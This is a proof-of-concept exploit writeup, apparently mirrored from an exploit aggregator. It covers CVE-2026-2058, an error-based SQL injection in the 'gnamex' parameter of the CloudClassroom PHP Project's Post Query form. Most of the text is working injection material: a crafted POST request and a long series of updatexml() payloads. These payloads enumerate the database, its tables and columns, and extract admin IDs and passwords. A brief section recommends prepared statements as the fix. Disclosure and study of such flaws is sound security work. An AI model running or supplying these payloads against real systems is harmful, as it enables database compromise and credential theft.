## https://sploitus.com/exploit?id=5E417107-5017-5938-8CB8-CD9F104EC266
# CLOUD-CLASSROOMS-php-1.0 PoC - Sql Injection Erro Based
Presentation:
- Security vulnerability: SQL Injection
- Vulnerability Type: Injection
- CWE: CWE-89 / CWE-74 / CWE-707
- CVE-2026-2058
- Affected Component: Post Query functionality (postquerypublic)
- Software: CloudClassroom PHP Project
- Version: 1.0 (discontinued).
- Business area: Education / e-Learning Platforms
- Submitter: bl4dsc4n
Describe the bug/issue:
A SQL Injection vulnerability exists in the Post Query feature of the CloudClassroom PHP Project.
The vulnerable parameter is gnamex (sent via POST), and the backend directly concatenates user input into SQL statements without proper sanitization or parameterized queries.
- This allows an attacker to inject arbitrary SQL commands, enabling:
- Extraction of sensitive information (user credentials, exam results, etc.)
- Enumeration of databases, tables, and columns
- Potential compromise of the entire application and underlying database
# Evidence of Vulnerability:
The vulnerable endpoint:
http:///CloudClassroom-PHP-Project-master/postquerypublic
# Vulnerable parameter:
POST: gnamex
Original SQL code (from source):
$sql = "INSERT INTO `query`(`Query`, `Eid`) VALUES ('$tempsquery','$tempseid')";
Because the input is not sanitized, attackers can inject SQL like:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
Steps to Reproduce:
Open the Post Query form at:
http:///CloudClassroom-PHP-Project-master/postquerypublic
Intercept the request (e.g., with Burp Suite) or craft a manual POST:
- POST /CloudClassroom-PHP-Project-master/postquerypublic
- Content-Type: application/x-www-form-urlencoded
- gnamex=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1&email=test@test.com&squeryx=test&update=Post Query!
Observe the response returning:
XPATH syntax error: '~cc_db~'
Which reveals the current database name.
# Impact:
Attackers can enumerate tables:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e),1) AND '1'='1
Extract sensitive data (e.g., usernames, hashed passwords from admin table):
a' AND updatexml(1,concat(0x7e,(SELECT Apass FROM admin LIMIT 0,1),0x7e),1) AND '1'='1
Severity: High (CVSS 7.5) because it allows full database compromise.
Expected behavior:
The application should use parameterized queries (prepared statements) to handle user input securely, preventing any SQL code injection.
Bug Fix Recommendation:
Implement prepared statements in PHP using mysqli or PDO.
Use input validation and escaping.
Apply least privilege principle on the database user.
References:
CWE-89: SQL Injection
OWASP SQL Injection Prevention Cheat Sheet
Additional context:
Using blacklist-based filtering is not reliable. Attackers can bypass such filters easily by using encoding tricks, inline comments, or alternate syntax.
We can identify SQL injection by adding a single quote to the search.
We can see that when making an SQL query, it is not shown in the query response.
- updatexml() is a MySQL function used to update an XML document.
When the syntax is incorrect (for example, we used unexpected data), it returns an error containing the string we passed.
- Payload database:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
- Payload table 1:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e),1) AND '1'='1
- Payload table 2:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),0x7e),1) AND '1'='1
- Payload table 3:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 2,1),0x7e),1) AND '1'='1
- Payload table 4:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 3,1),0x7e),1) AND '1'='1
- Payload table 5:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 4,1),0x7e),1) AND '1'='1
- Payload table 6:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5,1),0x7e),1) AND '1'='1
- Payload table 7:
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 6,1),0x7e),1) AND '1'='1
- burp:
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='result' LIMIT 0,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='result' LIMIT 1,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='result' LIMIT 2,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT RsID FROM result LIMIT 0,1),0x7e),1) AND '1'='1
- Payload column to table admin:
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='admin' LIMIT 0,1),0x7e),1) AND '1'='1
- Payload column to table admin:
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='admin' LIMIT 1,1),0x7e),1) AND '1'='1
- Payload Aid to admin:
a' AND updatexml(1,concat(0x7e,(SELECT Aid FROM admin LIMIT 0,1),0x7e),1) AND '1'='1
- Payload password to admin:
a' AND updatexml(1,concat(0x7e,(SELECT Apass FROM admin LIMIT 0,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='examans' LIMIT 0,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 7,1),0x7e),1) AND '1'='1
a' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 8,1),0x7e),1) AND '1'='1